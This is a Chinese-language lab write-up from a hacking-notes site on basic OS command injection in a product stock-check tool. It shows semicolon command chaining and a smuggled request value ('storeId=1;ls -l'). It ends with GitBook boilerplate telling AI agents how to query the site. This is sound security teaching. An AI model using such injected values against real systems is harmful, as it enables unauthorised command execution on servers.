> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/basic-os-command-injection.md).

# 基础 OS 命令注入

### 操作系统命令注入

本实验展示了一个漏洞：系统命令被注入到某产品的库存验证工具中。/ 该应用会执行一条包含用户提供的产品和商店凭据的 shell 命令，然后直接在响应中返回该命令的原始输出。

实验的目标是执行 **whoami** 命令来识别当前用户名。

我们发现，在 Linux 下，当你输入如下命令时：

```bash
pwd
```

可以使用分号串联多个命令：

```bash
pwd;whoami
```

<figure><img src="/files/ac4bee051b7074c99125399d23b540bc4556e86a" alt="" width="563"><figcaption></figcaption></figure>

在这种情况下，会传递两个参数。

<figure><img src="/files/a7eab129d6f2d320d4366d176e2083f8c25a07d4" alt="" width="563"><figcaption></figcaption></figure>

如果插入一个 **;** 到其中一个参数中，就可以执行任意命令，因为后端使用的是如下类型的函数： **system**.

示例：

```bash
productId=1&storeId=1;ls -l
```

<figure><img src="/files/6afaede0db7d0c9c13aaaa42dccdc27c71590b23" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/command-injection/basic-os-command-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
